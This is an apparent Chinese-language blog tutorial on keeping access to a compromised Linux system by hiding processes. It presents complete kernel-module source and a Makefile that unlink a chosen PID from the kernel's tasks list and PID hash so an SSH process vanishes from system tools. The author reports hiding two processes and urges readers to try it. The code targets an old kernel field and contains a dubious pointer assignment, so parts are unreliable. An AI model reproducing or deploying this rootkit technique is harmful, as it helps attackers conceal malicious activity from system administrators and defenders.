为了把最好的课程带给大家,这周还是忙于打磨课程,所以更新慢了一点,见谅!
试听课会在这周末上线,敬请期待!
今天继续之前的话题--权限维持之隐藏进程,之前有读者反映看不懂,故这篇选择一个容易理解上手简单的手法--从tasks与pid链表摘除进程。
本文目录
何为PID 链
也就是基于 PID 的链表。
内核中使用一种特殊的数据结构来快速查找基于 PID 的进程信息。这就是 PID 链,它是一种哈希表结构,其中包含了指向 task_struct 的指针。
每个 task_struct 结构体中都包含一个 PID 链表的节点,task_struct包含了进程的详细信息。这些节点链接在一起,形成了一个快速查找特定 PID 对应进程的结构。
通过 PID 链,内核可以迅速找到与特定 PID 相关联的 task_struct 实例,这对于处理诸如信号传递、进程通信等任务至关重要。
何为tasks链表
这个链表由 task_struct 结构体组成,用于维护系统中所有进程的信息,每个进程在内核中都有一个对应的 task_struct 实例。
作用:进程追踪,进程管理。
那么我们把要隐藏的进程从这两个链表摘除,也就是将进程从全局的任务列表中删除,是不是就达到在系统级别隐藏进程的效果了?
开始实验
先看一下ssh的相关进程,隐藏2198进程
hide_process.c文件内容如下
#include <linux/module.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>
/* 隐藏特定 PID 的进程 */
void hide_process(void)
{
int pid = 2198; // 您想要隐藏的进程 PID
struct task_struct *task = NULL;
struct pid *pid_struct = NULL;
struct hlist_node *node = NULL;
/* 获取指定 PID 的 task_struct */
pid_struct = find_get_pid(pid);
task = pid_task(pid_struct, PIDTYPE_PID);
if (!task)
return;
/* 从任务列表中删除该进程 */
list_del_rcu(&task->tasks);
INIT_LIST_HEAD(&task->tasks);
/* 从 PID 链表中删除该进程 */
node = &task->pids[PIDTYPE_PID].node;
hlist_del_rcu(node);
INIT_HLIST_NODE(node);
node->pprev = &node;
put_pid(pid_struct);
}
static int __init test_init(void)
{
hide_process();
return 0;
}
static void __exit test_exit(void)
{
printk(KERN_INFO "Module exit: Process hiding\n");
}
module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
Makefile文件内容如下
obj-m += hide_process.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make并加载到内核
再次查看ssh相关进程,ok隐藏了。
好玩,卸载掉这个模块,再隐藏一个玩玩,改一下对应pid为3273
ok,成功全部隐藏。简简单单。
最后感叹一句,路虽远 行则将至,事虽难 做则必成。希望各位读者不要畏手畏脚,文章中遇到读不懂的东西一定要去研究一下,不要得过且过,偷懒只会让你原地踏步甚至是不进则退,纸上得来终觉浅,绝知此事要躬行,不仅要看懂,更要去实践一下,这样才能有更深刻的理解,才能真正掌握知识